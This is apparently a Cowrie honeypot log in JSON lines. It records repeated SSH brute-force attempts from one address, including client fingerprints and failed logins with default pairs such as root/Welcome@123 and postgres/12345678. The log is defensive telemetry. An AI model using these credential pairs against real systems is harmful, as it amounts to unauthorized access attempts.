{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50622,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b6ca608eb69","protocol":"ssh","message":"New connection: 192.109.200.237:50622 (159.203.135.109:22) [session: 0b6ca608eb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:35.353714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:35.358580Z","src_ip":"192.109.200.237","session":"0b6ca608eb69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:35.441884Z","src_ip":"192.109.200.237","session":"0b6ca608eb69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:35.688615Z","src_ip":"192.109.200.237","session":"0b6ca608eb69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:36.776799Z","src_ip":"192.109.200.237","session":"0b6ca608eb69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50630,"dst_ip":"159.203.135.109","dst_port":22,"session":"7252e5e9933b","protocol":"ssh","message":"New connection: 192.109.200.237:50630 (159.203.135.109:22) [session: 7252e5e9933b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:38.444346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:38.449250Z","src_ip":"192.109.200.237","session":"7252e5e9933b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:38.531384Z","src_ip":"192.109.200.237","session":"7252e5e9933b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:38.777121Z","src_ip":"192.109.200.237","session":"7252e5e9933b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:39.863913Z","src_ip":"192.109.200.237","session":"7252e5e9933b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36236,"dst_ip":"159.203.135.109","dst_port":22,"session":"244c1fa8b9b0","protocol":"ssh","message":"New connection: 192.109.200.237:36236 (159.203.135.109:22) [session: 244c1fa8b9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:41.482225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:41.485790Z","src_ip":"192.109.200.237","session":"244c1fa8b9b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:41.567429Z","src_ip":"192.109.200.237","session":"244c1fa8b9b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:41.816444Z","src_ip":"192.109.200.237","session":"244c1fa8b9b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:42.901278Z","src_ip":"192.109.200.237","session":"244c1fa8b9b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36250,"dst_ip":"159.203.135.109","dst_port":22,"session":"44cd703895fb","protocol":"ssh","message":"New connection: 192.109.200.237:36250 (159.203.135.109:22) [session: 44cd703895fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:44.498374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:44.503934Z","src_ip":"192.109.200.237","session":"44cd703895fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:44.691374Z","src_ip":"192.109.200.237","session":"44cd703895fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:44.940682Z","src_ip":"192.109.200.237","session":"44cd703895fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:46.025859Z","src_ip":"192.109.200.237","session":"44cd703895fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36264,"dst_ip":"159.203.135.109","dst_port":22,"session":"895bd19607c3","protocol":"ssh","message":"New connection: 192.109.200.237:36264 (159.203.135.109:22) [session: 895bd19607c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:47.712726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:47.716846Z","src_ip":"192.109.200.237","session":"895bd19607c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:47.799207Z","src_ip":"192.109.200.237","session":"895bd19607c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:48.048029Z","src_ip":"192.109.200.237","session":"895bd19607c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:49.131654Z","src_ip":"192.109.200.237","session":"895bd19607c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60736,"dst_ip":"10.17.0.5","dst_port":23,"session":"353645f6bc62","protocol":"telnet","message":"New connection: 192.119.13.58:60736 (10.17.0.5:23) [session: 353645f6bc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:50.473699Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44992,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcf7ba05ed3f","protocol":"ssh","message":"New connection: 192.109.200.237:44992 (159.203.135.109:22) [session: bcf7ba05ed3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:50.784008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:50.788681Z","src_ip":"192.109.200.237","session":"bcf7ba05ed3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:50.870656Z","src_ip":"192.109.200.237","session":"bcf7ba05ed3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:51.116635Z","src_ip":"192.109.200.237","session":"bcf7ba05ed3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:52.201366Z","src_ip":"192.109.200.237","session":"bcf7ba05ed3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45000,"dst_ip":"159.203.135.109","dst_port":22,"session":"49323481d620","protocol":"ssh","message":"New connection: 192.109.200.237:45000 (159.203.135.109:22) [session: 49323481d620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:53.819092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:53.823549Z","src_ip":"192.109.200.237","session":"49323481d620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:53.909045Z","src_ip":"192.109.200.237","session":"49323481d620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:54.156924Z","src_ip":"192.109.200.237","session":"49323481d620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:55.242987Z","src_ip":"192.109.200.237","session":"49323481d620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45006,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a27ad4c9087","protocol":"ssh","message":"New connection: 192.109.200.237:45006 (159.203.135.109:22) [session: 8a27ad4c9087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:56.970227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:56.974926Z","src_ip":"192.109.200.237","session":"8a27ad4c9087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:57.056693Z","src_ip":"192.109.200.237","session":"8a27ad4c9087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:57.303464Z","src_ip":"192.109.200.237","session":"8a27ad4c9087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:58.389030Z","src_ip":"192.109.200.237","session":"8a27ad4c9087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50986,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfc3b2b6f87b","protocol":"ssh","message":"New connection: 192.109.200.237:50986 (159.203.135.109:22) [session: cfc3b2b6f87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:00.064429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:00.070175Z","src_ip":"192.109.200.237","session":"cfc3b2b6f87b","protocol":"ssh"}
